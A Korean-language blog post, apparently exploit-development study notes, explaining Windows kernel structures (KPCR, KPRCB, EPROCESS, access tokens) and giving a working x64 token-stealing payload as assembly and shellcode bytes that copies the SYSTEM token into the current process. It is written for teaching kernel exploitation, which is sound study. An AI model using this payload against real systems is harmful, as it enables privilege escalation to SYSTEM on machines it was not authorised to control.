cgy12306

Windows Access Token Stealing 본문

Windows/WinPwn

Windows Access Token Stealing

cgy12306 2021. 1. 2. 15:48

Windows Internal

윈도우 운영체제에서 각 프로세스의 context는 access token을 갖고 있습니다.

이 Access toekn은 id값과 프로세스에 대한 자격을 갖고 있습니다.

ntdll.dll : 커널모드로 전환하고, 시스템 서비스 디스패쳐를 호출하게 하는 아키텍쳐 별 지시사항을 담고 있는데 이 지시사항은
일부 파라미터를 검증한 후 ntoskrnl.exe 내부의 실제 코드를 포함하는 실제 커널 모드 시스템 서비스를 호출합니다.

커널은 ntoskrnl.exe의 기능 집합으로 구성 되어 있습니다.

ntoskrnl.exe는 스레드, 스케줄링 및 동기화 서비스 등 low-level의 기능을 지원합니다. 또한 커널 코드는 주로 C로 작성되어 있습니다.

커널 오브젝트(EPROCESS)는 커널에서 관리하는 중요한 정보를 담아둔 데이터 블록입니다. 프로세스의 생성, 소멸, 상태 변화 등을 데이터로 만들고 구조체 하나를 만들어서 관리합니다. 즉, 프로세스란 이 구조체를 의미하며 프로세스 소멸의 의미는 해당 구조체에 대한 포인터 값을 링크드 리스트에서 삭제하겠다는 뜻입니다.

커널은 PCR(processor control region) 또는 KPCR이라는 데이터 구조체를 사용합니다. KPCR은 프로세서의 Interrupt dispatch table(IDT), task-state segment(TSS), global descripotr table(GDT) 등 기본적인 정보를 포합하고 있습니다.
KPCR에 쉽게 접근할 수 있도록 커널은 32bit 윈도우 환경에서 fs 레지스터를 64bit 윈도우 환경에서 gs 레지스터에 포인터를 저장합니다.

KPCR은 KPRCB(kernel processor control block)을 포함하고 있습니다.
KPRCB는 서드파티 드라이버와 윈도우 커널 구성요소를 가진 KPCR과 달리 ntoskrnl.exe의 커널 코드에서만 사용됩니다.
KPRCB는 현재와 다음에 수행할 스케쥴링 정보를 포함하고 있고, 프로세서에서 실행되도록 예약된 유휴 스레드를 포함하고 있습니다.

Windows Kernel Structure

위의 사진은 windbg에서 KPCR의 구조체를 보여주는 명령어를 수행한 모습입니다.
KPCR에서 +0x180 오프셋만큼 떨어진 곳에는 KPRCB 구조체를 갖고 있습니다.

KPRCB의 구조체를 보겠습니다.

KPRCB는 현재 쓰레드(CurrentThread), 다음 쓰레드(NextThread)에 대한 포인터를 갖고 있습니다.
CurrentThread는 KTHREAD에 대한 포인터입니다.

KTHREAD는 +0x98 오프셋 위치에 ApcState라는 멤버를 갖고 있습니다.
이 ApcState는 _KAPC_STATE의 구조체명입니다.

+0x20 위치에 KPROCESS의 포인터를 갖고 있습니다.

간단하게 그림으로 정리해봤습니다.

Windows Access Token Stealing

Access Token은 프로세스 또는 스레드의 security context를 나타내는 오브젝트입니다.
Token에 포함되어 있는 정보에는 프로세스 또는 스레드와 관련되어 있는 user 계정의 identity와 privileges가 있습니다.
user가 로그인 시도 시 시스템은 security database에 저장되어 있는 정보와 비교해 user password를 확인합니다. 만약 인증에 성공하면 시스템은 access token을 생성합니다.
Access token은 다음과 같은 정보를 포함하고 있습니다.

  • 사용자 계정에 대한 Security identifier(SID)
  • 사용자가 멤버인 그룹에 대한 SIDs
  • 현재 logon session을 식별하는 logon SID
  • 사용자 또는 사용자의 그룹 중 하나에 의해 보유된 권한 목록
  • 소유자 SID
  • 기본 그룹에 대한 SID
  • 사용자가 securable object를 지정된 security descripotr 없이 생성할 때 시스템이 사용하는 기본 DACL
  • access token의 근원
  • token이 primary token인지 impersonation token 인지에 대한 여부
  • restricting SIDs의 옵션 목록
  • 현재 impoersonation 단계
  • 기타 통계

KPROCESS는 EPROCESS의 구조체의 멤버로써 EPROCESS 구조체의 최상단에 있으므로 KPROCESS의 시작주소를 알고 있으면 EPROCESS의 시작주소와 같으므로 ActiveProcessLink와 Access Token의 위치를 구할 수 있습니다.

ActiveProcessLink는 시스템의 active process를 가리키고 있는 더블 링크드 리스트로 되어있습니다.
Active process중에는 SYSTEM 프로세스가 살아있기 때문에 SYSTEM의 권한을 얻기 위해서는 더블 링크드 리스트를 순회할 필요가 있습니다.

 

 

 

우선 SYSTEM의 정보를 살펴보겠습니다.

SYSTEM의 프로세스 주소는 ffffb7880d281040으로 나와있습니다.

dt _EPROCESS [프로세스주소] 명령어를 입력하게 되면 프로세스 주소를 EPROCESS 구조체에 맞춰서 보여주게 됩니다.

0x4b8 오프셋에 Token이 위치해 있습니다.

실제 메모리를 한번 보겠습니다.

Token 형식에 맞춰서 다시 보겠습니다.

fffffffffffffffffffffff0과 &연산을 해준 이유는 Token의 하위 4bit는 포인터 참조 횟수로 사용되기 때문에 0으로 만들어줘야 온전한 구조체를 구할 수 있기 때문에 & 연산을 해줘야 합니다.

Source를 보면 SYSTEM의 토큰인 것을 확인할 수 있습니다.

우리는 이 Token을 복사해서 현재 process의 Token에 붙여야 합니다.

이런 작업을 해주는 어셈블리어는 아래와 같습니다.

mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR
mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)
mov r9, [r8 + 4b8h]      ; ActiveProcessLinks list head
mov rcx, [r9]            ; Follow link to first process in list

find_system_proc:
mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId
cmp rdx, 4               ; Process with ID 4 is System process
jz found_system          ; Found SYSTEM token
mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer
jmp find_system_proc     ; Loop

found_system:
mov rax, [rcx + 70h]     ; Offset from ActiveProcessLinks to Token
and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure
mov [r8 + 4b8h], rax     ; Copy SYSTEM token to current process's token

온라인 어셈블러를 이용해 어셈블리어를 byte code로 변환해 줍니다.

char shellcode[] = "\x65\x48\x8B\x14\x25\x88\x01"
"\x00\x00"
"\x4C\x8B\x82\xB8\x00\x00\x00"
"\x4D\x8B\x88\xB8\x04\x00\x00"
"\x49\x8B\x09"
"\x48\x8B\x51\xF8"
"\x48\x83\xFA\x04"
"\x74\x05"
"\x48\x8B\x09"
"\xEB\xF1"
"\x48\x8B\x41\x70"
"\x24\xF0"
"\x49\x89\x80\xB8\x04\x00\x00";

이제 쉘 코드가 실행이 되면 다시 원래 코드로 돌아와야 합니다.

다시 원래대로 돌아가기 위해 add rsp, 0x40; ret 같은 명령어를 통해 콜링 컨벤션에 의해 커널 스택에 들어가 있는 명령어를 실행시켜 프로그램의 흐름을 복구시킵니다.

만약 도중에 버그체크 로직에 의해 BSOD가 발생하게 된다면 우리는 쉘 코드를 생성 및 실행할 수 있기 때문에 이 부분을 우회하는 쉘 코드를 작성하여 BSOD가 뜨지 않도록 해주면 됩니다.

참고
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/
https://ezbeat.tistory.com/488

Comments